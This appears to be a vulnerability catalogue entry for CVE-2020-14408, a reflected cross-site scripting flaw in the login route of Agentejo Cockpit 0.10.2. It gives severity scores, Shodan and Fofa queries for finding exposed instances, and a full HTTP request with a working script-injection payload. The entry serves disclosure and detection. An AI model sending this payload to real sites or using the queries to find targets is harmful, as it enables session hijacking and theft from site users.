| Title | Agentejo Cockpit 0.10.2 - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version of Agentejo Cockpit or apply the vendor-provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01606 |
| CVE ID | CVE-2020-14408 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:688609340http.html:"cockpit" |
| Fofa Query | icon_hash=688609340body="cockpit" |
| Tags | cve2020 cve cockpit agentejo xss oss vuln |
Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page’s content.
GET /auth/login?to=/92874%27;alert(document.domain)//280 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14408.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-14408.pcap
N/AN/A